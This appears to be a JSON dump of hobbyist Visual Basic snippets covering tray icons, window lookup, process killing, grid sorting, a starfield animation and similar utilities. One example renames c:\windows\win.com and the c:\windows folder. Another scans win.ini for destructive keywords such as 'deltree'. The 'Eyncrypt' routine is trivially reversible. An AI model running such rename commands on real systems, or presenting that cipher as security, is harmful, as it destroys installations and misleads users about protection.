DefaultDblClk = mvarDefaultDblClk\nEnd Property\nPublic Property Set SourceWindow(ByVal vData As Form)\n Set mvarSourceWindow = vData\n SetPicHook\nEnd Property\nPublic Property Get SourceWindow() As Form\n Set SourceWindow = mvarSourceWindow\nEnd Property\nPublic Sub ChangeToolTip(ByVal cNewTip As String)\n mvarToolTip = cNewTip\n t.szTip = cNewTip & Chr$(0)\n Shell_NotifyIcon NIM_MODIFY, t\n If mvarSourceWindow.WindowState = vbMinimized Then\n mvarSourceWindow.Caption = cNewTip\n End If\nEnd Sub\nPrivate Sub Class_Initialize()\n mvarDefaultDblClk = True\n \n t.cbSize = Len(t)\n t.uId = 1&\n t.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE\n t.ucallbackMessage = WM_MOUSEMOVE\n t.hIcon = Me.Icon\n t.szTip = Chr$(0) 'Default to no tooltip\nEnd Sub\nPrivate Sub pichook_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n Static rec As Boolean, msg As Long, oldmsg As Long\n \n oldmsg = msg\n msg = X / Screen.TwipsPerPixelX\n \n If rec = False Then\n rec = True\n Select Case msg\n Case WM_LBUTTONDBLCLK:\n LButtonDblClk\n Case WM_LBUTTONDOWN:\n RaiseEvent LButtonDown\n Case WM_LBUTTONUP:\n RaiseEvent LButtonUp\n Case WM_RBUTTONDBLCLK:\n RaiseEvent RButtonDblClk\n Case WM_RBUTTONDOWN:\n RaiseEvent RButtonDown\n Case WM_RBUTTONUP:\n RaiseEvent RButtonUp\n End Select\n rec = False\n End If\nEnd Sub\n' Since VB doesn't really have inheretance (&^$%#&*!!) we have to fake it by using a\n' variable to override default events...\nPrivate Sub LButtonDblClk()\n If mvarDefaultDblClk Then\n mvarSourceWindow.WindowState = vbNormal\n mvarSourceWindow.Show\n App.TaskVisible = True\n RemoveFromSysTray\n End If\n \n RaiseEvent LButtonDblClk\nEnd Sub\nPublic Sub RemoveFromSysTray()\n t.cbSize = Len(t)\n t.hwnd = pichook.hwnd\n t.uId = 1&\n Shell_NotifyIcon NIM_DELETE, t\nEnd Sub\nPublic Sub IconInSysTray()\n Shell_NotifyIcon NIM_ADD, t\nEnd Sub\nPublic Sub MinToSysTray()\n Me.IconInSysTray\n \n mvarSourceWindow.Hide\n App.TaskVisible = False\nEnd Sub\nPrivate Sub SetPicHook()\nOn Error GoTo AlreadyAdded\n#If VB_VERSION = 6 Then\n Set pichook = mvarSourceWindow.Controls.Add(\"VB.PictureBox\", \"pichook\")\n#Else\n Set pichook = mvarSourceWindow.pichook\n#End If\n pichook.Visible = False\n pichook.Picture = mvarSourceWindow.Icon\n t.hwnd = pichook.hwnd\n \n Exit Sub\nAlreadyAdded:\n If Err.Number <> 727 Then ' pichook has already been added\n MsgBox \"Run-time error '\" & Err.Number & \"':\" & vbCrLf & vbCrLf & Err.Description, vbCritical + vbOKOnly, \"Error\"\n Stop\n Resume\n End If\nEnd Sub\nPublic Sub ChangeIcon(toNewIcon)\n Set pichook.Picture = toNewIcon\n t.hIcon = pichook.Picture\n Shell_NotifyIcon NIM_MODIFY, t\nEnd Sub\n"},{"WorldId":1,"id":2157,"LineNumber":1,"line":"Public Function GetCaption(ByVal lhWnd As Long) As String\nDim sA As String, lLen As Long\n \n lLen& = GetWindowTextLength(lhWnd&)\n sA$ = String(lLen&, 0&)\n Call GetWindowText(lhWnd&, sA$, lLen& + 1)\n GetCaption$ = sA$\nEnd Function\nPublic Function FindAnyWindow(frm As Form, ByVal WinTitle As String, Optional ByVal CaseSensitive As Boolean = False) As Long\nDim lhWnd As Long, sA As String\nlhWnd& = frm.hwnd\nDo Until lhWnd& = 0\n DoEvents\n \n sA$ = GetCaption(lhWnd&)\n If InStr(IIf(CaseSensitive = False, LCase$(sA$), sA$), IIf(CaseSensitive = False, LCase$(WinTitle$), WinTitle$)) Then FindAnyWindow& = lhWnd&: Exit Do Else FindAnyWindow& = 0\n \n lhWnd& = GetNextWindow(lhWnd&, 2)\nLoop\nEnd Function"},{"WorldId":1,"id":2993,"LineNumber":1,"line":"Public Sub SetLoaded()\n'put this in your main forms' Load procedure\n'this will set the count\nDim lTemp As Long, sPath As String\nlTemp& = GetLoaded&\nIf Right$(App.Path, 1) <> \"\\\" Then sPath$ = App.Path & \"\\\" & App.EXEName & \".tmp\" Else sPath$ = App.Path & App.EXEName & \".tmp\"\nOpen sPath$ For Output As #1\nPrint #1, lTemp& + 1\nClose #1\nEnd Sub\nPublic Function GetLoaded() As Long\n'call this to get how many times program has been loaded\nOn Error Resume Next\nDim sPath As String, sTemp As String\nIf Right$(App.Path, 1) <> \"\\\" Then sPath$ = App.Path & \"\\\" & App.EXEName & \".tmp\" Else sPath$ = App.Path & App.EXEName & \".tmp\"\nOpen sPath$ For Input As #1\nsTemp$ = Input(LOF(1), #1)\nClose #1\nIf sTemp$ = \"\" Then GetLoaded& = 0 Else GetLoaded& = CLng(sTemp$)\nEnd Function\n'works well\n'DoWnLoHo"},{"WorldId":1,"id":2994,"LineNumber":1,"line":"Public Function StripHTML(sHTML As String) As String\nDim sTemp As String, lSpot1 As Long, lSpot2 As Long, lSpot3 As Long\nsTemp$ = sHTML$\nDo\n lSpot1& = InStr(lSpot3& + 1, sTemp$, \"<\")\n lSpot2& = InStr(lSpot1& + 1, sTemp$, \">\")\n \n If lSpot1& = lSpot3& Or lSpot1& < 1 Then Exit Do\n If lSpot2& < lSpot1& Then lSpot2& = lSpot1& + 1\n \n sTemp$ = Left$(sTemp$, lSpot1& - 1) + Right$(sTemp$, Len(sTemp$) - lSpot2&)\n lSpot3& = lSpot1& - 1\nLoop\nStripHTML$ = sTemp$\nEnd Function\n"},{"WorldId":1,"id":3860,"LineNumber":1,"line":"Function Eyncrypt(sData As String) As String\nDim sTemp as String, sTemp1 as String\nFor iI% = 1 To Len(sData$)\n sTemp$ = Mid$(sData$, iI%, 1)\n lT = Asc(sTemp$) * 2\n sTemp1$ = sTemp1$ & Chr(lT)\nNext iI%\nEyncrypt$ = sTemp1$\nEnd Function\nFunction UnEyncrypt(sData As String) As String\nDim sTemp as String, sTemp1 as String\nFor iI% = 1 To Len(sData$)\n sTemp$ = Mid$(sData$, iI%, 1)\n lT = Asc(sTemp$) \\ 2\n sTemp1$ = sTemp1$ & Chr(lT)\nNext iI%\nUnEyncrypt$ = sTemp1$\nEnd Function\n"},{"WorldId":1,"id":8604,"LineNumber":1,"line":"'Note** This meant to be saved as a form\n'Copy below this line; paste into notepad; Save as frmSnapto.frm\nVERSION 5.00\nBegin VB.Form frmSnapTo \n BorderStyle = 0 'None\n Caption = \"Form1\"\n ClientHeight = 1335\n ClientLeft = 0\n ClientTop = 0\n ClientWidth = 3660\n LinkTopic = \"Form1\"\n ScaleHeight = 1335\n ScaleWidth = 3660\n ShowInTaskbar = 0 'False\n StartUpPosition = 3 'Windows Default\n Begin VB.Timer tmrPos \n Enabled = 0 'False\n Interval = 1\n Left = 120\n Top = 360\n End\n Begin VB.Label lblTop \n BackColor = &H000000FF&\n Caption = \"Caption\"\n Height = 255\n Left = 0\n TabIndex = 0\n Top = 0\n Width = 3720\n End\nEnd\nAttribute VB_Name = \"frmSnapTo\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = False\nPrivate Declare Function GetCursorPos Lib \"user32\" (lpPoint As POINTAPI) As Long\nPrivate Type POINTAPI\n X As Long\n Y As Long\nEnd Type\nDim iX As Integer, iY As Integer\nPrivate Sub lblTop_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\niX% = X: iY% = Y\ntmrPos.Enabled = True\nEnd Sub\nPrivate Sub lblTop_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)\ntmrPos.Enabled = False\nEnd Sub\nPrivate Sub tmrPos_Timer()\nDim ptPos As POINTAPI\n Call GetCursorPos(ptPos)\n lblTop.Caption = ptPos.X & \" - \" & ptPos.Y\nIf ptPos.Y - ((lblTop.Top + iY%) / Screen.TwipsPerPixelY) <= 20 Then ptPos.Y = 0 + ((lblTop.Top + iY%) / Screen.TwipsPerPixelY)\nIf ptPos.X - ((lblTop.Left + iX%) / Screen.TwipsPerPixelX) <= 20 Then ptPos.X = 0 + ((lblTop.Left + iX%) / Screen.TwipsPerPixelX)\nIf ptPos.Y - ((lblTop.Top + iY%) / Screen.TwipsPerPixelY) >= (Screen.Height - Me.Height - 400) / Screen.TwipsPerPixelY - 20 Then\n ptPos.Y = (Screen.Height - Me.Height + iY% - 400) / Screen.TwipsPerPixelY\nEnd If\nIf ptPos.X - ((lblTop.Left + iX%) / Screen.TwipsPerPixelX) >= (Screen.Width - Me.Width) / Screen.TwipsPerPixelX - 20 Then\n ptPos.X = (Screen.Width - Me.Width + iX%) / Screen.TwipsPerPixelX\nEnd If\nMe.Top = (ptPos.Y * Screen.TwipsPerPixelY) - lblTop.Top - iY%\nMe.Left = (ptPos.X * Screen.TwipsPerPixelX) - lblTop.Left - iX%\nEnd Sub\n"},{"WorldId":1,"id":2158,"LineNumber":1,"line":"'\n' 1999 by Dirk Bujna - b_dirk@yahoo.com\n'\nPublic Sub SortFlex(FlexGrid As MSFlexGrid, TheCol As Integer, ParamArray IsString() As Variant)\n \n FlexGrid.Col = TheCol\n For i = 0 To FlexGrid.Cols - 1\n Headline = FlexGrid.TextMatrix(0, i)\n Ascend = Right$(Headline, 1) = \"+\"\n Decend = Right$(Headline, 1) = \"-\"\n \n If Ascend Or Decend Then Headline = Left$(Headline, Len(Headline) - 1)\n \n \n If i = TheCol Then\n If Ascend Then\n \n FlexGrid.TextMatrix(0, i) = Headline & \"-\"\n If IsMissing(IsString(i)) Then\n FlexGrid.Sort = flexSortGenericDescending\n \n Else\n If IsString(i) Then\n FlexGrid.Sort = flexSortStringDescending\n Else\n FlexGrid.Sort = flexSortNumericDescending\n End If\n End If\n Else\n FlexGrid.TextMatrix(0, i) = Headline & \"+\"\n If IsMissing(IsString(i)) Then\n FlexGrid.Sort = flexSortGenericAscending\n \n Else\n \n If IsString(i) Then\n FlexGrid.Sort = flexSortStringAscending\n Else\n FlexGrid.Sort = flexSortNumericAscending\n End If\n End If\n End If\n Else\n FlexGrid.TextMatrix(0, i) = Headline\n End If\n \n Next i\n \nEnd Sub"},{"WorldId":1,"id":2160,"LineNumber":1,"line":"Public Function KillApp(myName As String) As Boolean\n \n Const PROCESS_ALL_ACCESS = 0\n Dim uProcess As PROCESSENTRY32\n Dim rProcessFound As Long\n Dim hSnapshot As Long\n Dim szExename As String\n Dim exitCode As Long\n Dim myProcess As Long\n Dim AppKill As Boolean\n Dim appCount As Integer\n Dim i As Integer\n On Local Error GoTo Finish\n appCount = 0\n \n Const TH32CS_SNAPPROCESS As Long = 2&\n \n uProcess.dwSize = Len(uProcess)\n hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)\n rProcessFound = ProcessFirst(hSnapshot, uProcess)\n Do While rProcessFound\n i = InStr(1, uProcess.szexeFile, Chr(0))\n szExename = LCase$(Left$(uProcess.szexeFile, i - 1))\n If Right$(szExename, Len(myName)) = LCase$(myName) Then\n KillApp = True\n appCount = appCount + 1\n myProcess = OpenProcess(PROCESS_ALL_ACCESS, False, uProcess.th32ProcessID)\n AppKill = TerminateProcess(myProcess, exitCode)\n Call CloseHandle(myProcess)\n End If\n rProcessFound = ProcessNext(hSnapshot, uProcess)\n Loop\n Call CloseHandle(hSnapshot)\nFinish:\nEnd Function\n"},{"WorldId":1,"id":2215,"LineNumber":1,"line":"Dim objOutlook As Outlook.Application\nDim objMapiName As Outlook.NameSpace\nDim intCountUnRead As Integer\nPrivate Sub Check_Mail_Click()\n Set objOutlook = New Outlook.Application\n Set objMapiName = objOutlook.GetNamespace(\"MAPI\")\n \n For I = 1 To objMapiName.GetDefaultFolder(olFolderInbox).UnReadItemCount\n \n intCountUnRead = intCountUnRead + 1\n \n Next\n \n MsgBox \"You have \" & intCountUnRead & \" new messages in your Inbox . . \n \", vbInformation + vbOKOnly, \"New Messages . . .\"\n intCountUnRead = 0\n Set objMapiName = Nothing\n Set objOutlook = Nothing\n \nEnd Sub"},{"WorldId":1,"id":2522,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2191,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2176,"LineNumber":1,"line":"Dim ans As Integer\nPrivate Sub Command1_Click()\nIf Text1.Text = \" \" Or \"Question_Goes_Here\" Then\nMsgBox \"ah, ask a question first!\", vbCritical, \"ERROR!!!!\"\n' calls random Change the # 8 to get more varibles\n' but don't forget to add them below\nElse\nans = (Int(Rnd * 8) + 1)\n'If you want diffrent answers put them in below\nIf ans = 1 Then\nLabel1.Caption = \"Its not likely\"\nEnd If\nIf ans = 2 Then\nLabel1.Caption = \"It looks possible\"\nEnd If\nIf ans = 3 Then\nLabel1.Caption = \"Yes\"\nEnd If\nIf ans = 4 Then\nLabel1.Caption = \"No\"\nEnd If\nIf ans = 5 Then\nLabel1.Caption = \"Things are looking up\"\nEnd If\nIf ans = 6 Then\nLabel1.Caption = \"Ask again later\"\nEnd If\nIf ans = 7 Then\nLabel1.Caption = \"Only if you get me a brownie\"\nEnd If\nIf ans = 8 Then\nLabel1.Caption = \"Certinally\"\nEnd If\nEnd If\nEnd Sub\nPrivate Sub Form_DblClick()\nMsgBox \"MMM.... YOUR EYE TASTES LIKE CHEESE\"\n'EASTER EGG!!!! ALL PROGRAMS SHOULD HAVE THESE!!\nEnd Sub\nEnd Sub\nPrivate Sub Form_Load()\nText1.Text = \"Question_Goes_Here\"\nCommand1.Caption = \"Ask me...\"\nEnd Sub\nPrivate Sub Text1_Click()\nText1.Text = \" \"\nEnd Sub\n"},{"WorldId":1,"id":2179,"LineNumber":1,"line":"Public Sub CreateFolders(ByVal sPath As String)\n Dim oFileSystem As New Scripting.FileSystemObject\n 'or late-bind with:\n 'Dim oFileSystem As Object\n 'Set oFileSystem = CreateObject(\"Scripting.FileSystemObject\")\n On Error GoTo ErrorHandler\n With oFileSystem\n ' Is this drive valid and ready?\n If .DriveExists(.GetDriveName(sPath)) Then\n ' Is this folder not yet valid?\n If Not .FolderExists(sPath) Then\n ' Recurse back in to this method until a parent folder is valid.\n CreateFolders .GetParentFolderName(sPath)\n ' Create only a nonexistant folder before exiting the method.\n .CreateFolder sPath\n End If\n End If\n End With\n Set oFileSystem = Nothing\nExitMethod:\n Exit Sub\nErrorHandler:\n App.LogEvent \"CreateFolders Error in \" & Err.Source & _\n \": Could not create \" & sPath & \".\", vbLogEventTypeInformation\nEnd Sub\n"},{"WorldId":1,"id":2192,"LineNumber":1,"line":"Const buf_size = 4096\t\t'we scan it in 4096 byte chunks\nDim filename As String\nDim buffer As String\nDim resultsMSG as string\nDim strScan1 as boolean\nDim strScan2 as boolean\nDim strScan3 as boolean\nDim strScan4 as boolean\nDim strScan5 as boolean \nDim corrupt as integer\t \t\t'percent of strings found\ncorrupt = 0: filename = \"C:\\Windows\\win.ini\" 'i use win.ini as an example\n Open filename For Binary As 1\t\t'the open file command\n Do While Not EOF(1)\n buffer = Space(buf_size) 'this buffer is the 4096 \n Get 1, , buffer\t\t\t'gets that size from file\n DoEvents\n If InStr(1, buffer, \"kill\") Then strScan1 = true\t'you can replace these strings with anything\n If InStr(1, buffer, \"kill c:\\\") Then strScan2 = true ' even make yourself a neat little file finder\n If InStr(1, buffer, \"deltree\") Then strScan3 = true\n If InStr(1, buffer, \"shell =\") Then strScan4 = true\n If InStr(1, buffer, \"hard drive\") Then strScan5 = true\n Loop\n Close 1\nif strScan1 = true then corrupt = corrupt + 20: resultsMSG =resultsMSG & \"kill, \" 'this is my useless garble\nif strScan2 = true then corrupt = corrupt + 20: resultsMSG =resultsMSG & \"kill c:\\, \" 'to tell the results of a \nif strScan3 = true then corrupt = corrupt + 20: resultsMSG =resultsMSG & \"deltree, \" 'scan\nif strScan4 = true then corrupt = corrupt + 20: resultsMSG =resultsMSG & \"shell=, \"\nif strScan5 = true then corrupt = corrupt + 20: resultsMSG =resultsMSG & \"hard drive, \"\nMsgBox \"-file scanned for strings - \" & Chr(10) & corrupt & \"% of strings found.\" & chr(10) & resultsMSG\n"},{"WorldId":1,"id":4226,"LineNumber":1,"line":"dim a as integer\na% = msgbox(\"Message box message ;-)\",10+10)\nif a% = 6 then '6 indicates a YES\nmsgbox \"yes was choosen\"\nelse\nmsgbox \"no was choosen\"\nend if"},{"WorldId":1,"id":2209,"LineNumber":1,"line":"Private Sub cmdConnect_Click()\nDim x As Long\nIf Index = 0 Then\nx = WNetConnectionDialog(Me.hwnd, RESOURCETYPE_DISK)\nEnd If\nEnd Sub\nPrivate Sub cmdDisconnect_Click()\nIf Index = 1 Then\nx = WNetDisconnectDialog(Me.hwnd, RESOURCETYPE_DISK)\nEnd If\nEnd Sub\n"},{"WorldId":1,"id":2537,"LineNumber":1,"line":"Private Sub Command1_Click()\n' To rename a file\nName \"c:\\windows\\win.com\" As \"c:\\windows\\rubbish.exe\"\n' To rename a directory\nName \"c:\\windows\" As \"c:\\rubbish\"\nEnd Sub"},{"WorldId":1,"id":2463,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2250,"LineNumber":1,"line":"Private Sub Command1_Click()\nIf Text1.Text = \"\" Then\nMsgBox \"No Connnection!\"\nElse\nMsgBox \"Connection Detected\"\nEnd If\nEnd Sub\nPrivate Sub Form_Load()\nText1.Text = Winsock1.LocalIP\n\nEnd Sub\n'Easy ha ? .. This is the way i like it !!"},{"WorldId":1,"id":5933,"LineNumber":1,"line":"'Put this in any event :\nMkDir \"C:\\Windows\\TheNewDirectory\"\n'You can make a new directory anywhere, not just in C:\\Windows\n'That's all :)"},{"WorldId":1,"id":2280,"LineNumber":1,"line":"'create 3 text boxes\n'to encrypt\ntext2.text=encrypt(text1.text)\n\n'to decrypt\ntext3.text=decrypt(text2.text)\n"},{"WorldId":1,"id":2532,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2509,"LineNumber":1,"line":"No Code, everything is stated in the introduction."},{"WorldId":1,"id":2515,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3051,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":2279,"LineNumber":1,"line":"Function AllowZeroLength(strDatabase As String, strtablename As String, status As Boolean) As Boolean\nDim db As Database\nDim td As TableDef\nDim fd As Field\nOn Error GoTo Error_Handler\nSet db = OpenDatabase(strDatabase)\nSet td = db.TableDefs(strtablename)\n 'loop through the fields in the selected recordset\n For Each fd In td.Fields\n 'Check the field type, and only change the value of text and memo fields\n If fd.Type = dbText Or dbMemo Then\n If status = True Then\n fd.AllowZeroLength = True\n Else\n fd.AllowZeroLength = False\n End If\n End If\n Next fd\n \n AllowZeroLength = True\n ' Exit Early to avoid error handler.\n Exit Function\nError_Handler:\n ' Raise an error.\n Err.Raise Err.Number, \"AllowZeroLength\", \"Could not process fields.\", Err.Description\n AllowZeroLength = False\n \n ' Reset normal error checking.\n Resume Next \n \nEnd Function\n"},{"WorldId":1,"id":2296,"LineNumber":1,"line":"Now you can test the code in following steps:\n 1) Create a new Visual Basic project\n 2) Add the UserControl to your project and named it as 'TransparentCtrl'\n 3) Add the following code to the control\n' Start Control Code\n Public Property Get MaskPicture() As Picture\n Set MaskPicture = UserControl.MaskPicture\n End Property\n \n Public Property Set MaskPicture(ByVal picNew As Picture)\n \n Set UserControl.MaskPicture = picNew\n 'Put the Refresh() code before the Set Picture Property will\n 'have better effection\n Me.Refresh\n Set UserControl.Picture = picNew\n \n PropertyChanged \"MaskPicture\"\n \n End Property\n Public Property Get MaskColor() As OLE_COLOR\n MaskColor = UserControl.MaskColor\n End Property\n \n Public Property Let MaskColor(ByVal clrMaskColor As OLE_COLOR)\n UserControl.MaskColor = clrMaskColor\n Me.Refresh\n PropertyChanged \"MaskColor\"\n End Property\n 'Refresh() to changed the container region with usercontrol's\n Public Sub Refresh()\n \n 'On Local Error Resume Next\n \n Dim hRgnNormal As Long\n \n With UserControl \n \n If .MaskPicture = 0 Then\n hRgnNormal = CreateRectRgn(0, 0, .ScaleX(.Width), .ScaleY(.Height))\n SetWindowRgn .Extender.Container.hWnd, hRgnNormal, True\n Else\n \n .Size .ScaleX(.MaskPicture.Width), .ScaleY(.MaskPicture.Height)\n .Extender.Container.Width = .Width\n .Extender.Container.Height = .Height\n .Extender.Move 0, 0\n \n 'Gwyshell\n 'Let the system have time to finish the special regions created\n DoEvents\n \n 'Set New Regions\n SetWindowRgn .Extender.Container.hWnd, Me.hRgn , True\n \n If Err Then\n MsgBox \"The Container not support the mothods\"\n End If\n \n End If\n \n End With\n \n End Sub\n Public Property Get hRgn() As OLE_HANDLE\n \n hRgn = CreateRectRgn(0, 0, 1, 1)\n GetWindowRgn Me.hWnd, hRgn\n \n End Property\n 'Following code to persist the control's property\n Private Sub UserControl_ReadProperties(PropBag As PropertyBag)\n \n Me.MaskColor = PropBag.ReadProperty(\"MaskColor\", &H8000000F)\n Set Me.MaskPicture = PropBag.ReadProperty(\"MaskPicture\", Nothing)\n \n End Sub\n \n Private Sub UserControl_WriteProperties(PropBag As PropertyBag)\n \n PropBag.WriteProperty \"MaskColor\", Me.MaskColor, &H8000000F\n PropBag.WriteProperty \"MaskPicture\", Me.MaskPicture, Nothing\n \n End Sub\n \n' End of Control Code\n 4) Now close the UserControl Designer to make the control active.\n Add the control on the form and assign the mask picture and mask color \n to the control.\n 5) After this, you may see the region of the form has been changed.\n To get the full code please visit here:\nhttp://www.mgt.ncu.edu.tw/~im841150/Documents/TransparentCtrl/TransparentCtrl.htm"},{"WorldId":1,"id":2427,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3393,"LineNumber":1,"line":"*** The Save Function ***\n Open App.Path & \"\\\" & \"playlist.dyr\" For Output As 1\n For x = 0 To List1.ListCount - 1\n List1.ListIndex = x\n Print #1, List1.Text\n Next\n Close 1\n*** The Load Function ***\n Open App.Path & \"\\\" & \"playlist.dyr\" For Input As 1\n Do Until EOF(1)\n Line Input #1, st\n List1.AddItem st\n Loop\n Close 1"},{"WorldId":1,"id":2328,"LineNumber":1,"line":"Option Explicit\n' Define a Star\nPrivate Type StarType\n xs As Long ' X start coordinate\n ys As Long ' Y start coordinate\n xe As Long ' X end coordinate\n ye As Long ' Y end coordinate\n Speed As Single ' Star speed\nEnd Type\n'Number of Stars in the StarField\nConst gStarCount = 150\n' Define a \"StarField\" as a certain number of \"Stars\"\nDim StarField(gStarCount) As StarType\nDim gXCen As Long ' x center of vortex\nDim gYCen As Long ' y center of vortex\nDim gXVortexLow As Long ' left most edge of vortex\nDim gXVortexHigh As Long ' right most edge of vortex\nDim gYVortexLow As Long ' top edge of vortex\nDim gYVortexHigh As Long ' bottom edge of vortex\nDim gMaxRad As Long ' used to adjust star \"brightness\"\nDim gHyperSpace As Boolean ' used to toggle hyperspace mode\n\nPrivate Sub Form_Load()\n ' assign several Form properties\n Me.BackColor = vbBlack\n Me.Caption = \"StarField - Jeff Godfrey\"\n Me.Show\n Me.WindowState = vbMaximized\n \n ' assign vortex center to be the form center\n GetNewVortex Me.ScaleWidth / 2, Me.ScaleHeight / 2\n \n ' initialize all Star objects\n InitStars\n \nEnd Sub\n' initialize all Star objects\nSub InitStars()\n Dim i As Integer\n \n For i = 1 To gStarCount\n \n ' assign locations and speeds to all Stars in the StarField\n StarField(i).xs = (gXVortexHigh - gXVortexLow - 1) * Rnd + gXVortexLow\n StarField(i).ys = (gYVortexHigh - gYVortexLow - 1) * Rnd + gYVortexLow\n StarField(i).xe = StarField(i).xs\n StarField(i).ye = StarField(i).ys\n StarField(i).Speed = Rnd + 0.1 ' (.1 - 1.1)\n \n Next i\nEnd Sub\n' if the left mouse button was clicked, reassign vortex center\n' to mouse location...\n' if the right mouse button was clicked, activate\n' \"hyperspace\" mode\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n \n If (Button = vbLeftButton) Then\n GetNewVortex X, Y\n ElseIf (Button = vbRightButton) Then\n gHyperSpace = True\n End If\nEnd Sub\n' If the mouse is moved with the left button held down,\n' continually change the vortex center\nPrivate Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n \n If (Button = vbLeftButton) Then\n GetNewVortex X, Y\n End If\nEnd Sub\n' if the right button was just released...\n' deactivate hyperspace mode and erase the hyperspace effect\nPrivate Sub Form_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)\n \n If (Button = vbRightButton) Then\n gHyperSpace = False\n Me.Cls\n End If\n \nEnd Sub\n' if the form is resized, reassign the vortex center to the new window center\nPrivate Sub Form_Resize()\n ' recalculate new vortex information based on current form dimensions\n GetNewVortex Me.ScaleWidth / 2, Me.ScaleHeight / 2\n \n ' if window is minimized or maximized, don't resize it\n ' (this will prevent a RunTime error...)\n If (Me.WindowState = vbMaximized) Then Exit Sub\n If (Me.WindowState = vbMinimized) Then Exit Sub\n \n ' ensure form is not made too small - this will\n ' prevent a possible \"divide by 0\" error...\n If Me.Width < 500 Then Me.Width = 500\n If Me.Height < 1500 Then Me.Height = 1500\n \nEnd Sub\n' Assign new vortex and other misc variables\n' input: The X,Y coordinates of the new vortex center\n' output: Nothing (reassigns global vortex variables)\nSub GetNewVortex(ByVal VortexgXCen As Long, ByVal VortexgYCen As Long)\n \n Dim XOffset As Long ' a +/- X range from the vortex center\n Dim YOffset As Long ' a +/- Y range from the vortex center\n \n gXCen = VortexgXCen ' the GLOBAL center of the vortex\n gYCen = VortexgYCen ' the GLOBAL center of the vortex\n \n ' calculate a range distance from the vortex center.\n XOffset = Int(Me.Width * 0.1)\n YOffset = Int(Me.Height * 0.1)\n \n ' calculate the GLOBAL actual range for both axis'\n ' a new star will always be \"born\" within this area...\n gXVortexLow = gXCen - XOffset\n gXVortexHigh = gXCen + XOffset\n gYVortexLow = gYCen - YOffset\n gYVortexHigh = gYCen + YOffset\n \n ' Assign a GLOBAL \"maximum screen radius\". This is\n ' used in the Star's brightness calculation\n If (Me.ScaleWidth < Me.ScaleHeight) Then\n gMaxRad = Int(Me.ScaleWidth / 2)\n Else\n gMaxRad = Int(Me.ScaleHeight / 2)\n End If\n \nEnd Sub\n' when the timer fires, animate each Star in the StarField\n' this is where all the interesting stuff happens...\nPrivate Sub Timer1_Timer()\n Dim i As Integer\n \n Dim XVector As Long ' current Star's X distance from \"vortex\" center\n Dim YVector As Long ' current Star's Y distance from \"vortex\" center\n Dim NewXe As Long ' New X end coord of current Star\n Dim NewYe As Long ' New Y end coord of current Star\n Dim NewXs As Long ' New X start coord of current Star\n Dim NewYs As Long ' New Y start coord of current Star\n Dim Speed As Single ' Speed of current Star\n Dim Range As Integer ' Range of current Star\n Dim DrawColor As Integer ' Color of current Star\n Dim EraseColor As Integer ' Erase color (the form's background color)\n \n ' assign the erase color to be the form background color\n EraseColor = Me.BackColor\n \n ' for each Star in the StarField...\n For i = 1 To gStarCount\n \n ' set new startpoint equal to the Star's previous endpoint\n NewXs = StarField(i).xe\n NewYs = StarField(i).ye\n Speed = StarField(i).Speed\n \n ' calculate X and Y distances from the current \"vortex\" center\n XVector = Abs(gXCen - NewXs)\n YVector = Abs(gYCen - NewYs)\n \n ' calculate Star's X direction and length based on current \"vortex\" X center\n If (NewXs > gXCen) Then\n NewXe = NewXs + Int(XVector * 0.2) * Speed\n Else\n NewXe = NewXs - Int(XVector * 0.2) * Speed\n End If\n \n ' calcuate Star's Y direction and length based on current \"vortex\" Y center\n If (NewYs > gYCen) Then\n NewYe = NewYs + Int(YVector * 0.2) * Speed\n Else\n NewYe = NewYs - Int(YVector * 0.2) * Speed\n End If\n \n ' if not in hyperspace mode...\n ' erase previous copy of the current Star (draw in backcolor)\n If (Not gHyperSpace) Then\n Me.Line (StarField(i).xs, StarField(i).ys)- _\n (StarField(i).xe, StarField(i).ye), EraseColor\n End If\n \n ' if new start coord is off the screen, reset it \"near\" the \"vortex\" center\n If (NewXs < 0 Or NewXs > Me.ScaleWidth Or _\n NewYs < 0 Or NewYs > Me.ScaleHeight) Then\n \n StarField(i).xs = (gXVortexHigh - gXVortexLow - 1) * Rnd + gXVortexLow\n StarField(i).ys = (gYVortexHigh - gYVortexLow - 1) * Rnd + gYVortexLow\n StarField(i).xe = StarField(i).xs\n StarField(i).ye = StarField(i).ys\n \n ' if new start coord is on the screen, draw new Star vector\n Else\n \n ' see how far the Star is from the \"vortex\" center\n ' this is used to determine its \"brightness\"...\n Range = GetStarRange(NewXs, NewYs)\n DrawColor = Range * 25\n \n ' draw the Star at its new location\n ' the Star color can be changed here (currently yellow...)\n Me.Line (NewXs, NewYs)-(NewXe, NewYe), RGB(DrawColor, DrawColor, 0)\n \n ' store Star endpoints for next erase cycle...\n StarField(i).xs = NewXs\n StarField(i).ys = NewYs\n StarField(i).xe = NewXe\n StarField(i).ye = NewYe\n \n End If\n \n Next i\n \nEnd Sub\n' determine how far the Star is from the \"vertex\" center\n' used to determine the Star's brightness\n' Note: Since this routine is called within the main animation\n' loop, it is VERY EXPENSIVE (in CPU cycles) due the\n' muliply, divide, and square root math. There should\n' be a better way, but this will work for now...\n' Input: X and Y coordinate of current star\n' Output: An integer in the range of 1-10\nFunction GetStarRange(ByVal X As Long, ByVal Y As Long) As Integer\n Dim Dist As Long\n Dim XVector As Long\n Dim YVector As Long\n \n XVector = Abs(gXCen - X)\n YVector = Abs(gYCen - Y)\n \n ' Calculate distance from \"vortex\" center\n \n Dist = Sqr(XVector * XVector + YVector * YVector)\n \n ' return value in the range of 1-10\n \n GetStarRange = Int((Dist / gMaxRad) * 10)\n \n If (GetStarRange < 1) Then GetStarRange = 1\n If (GetStarRange > 10) Then GetStarRange = 10\n \nEnd 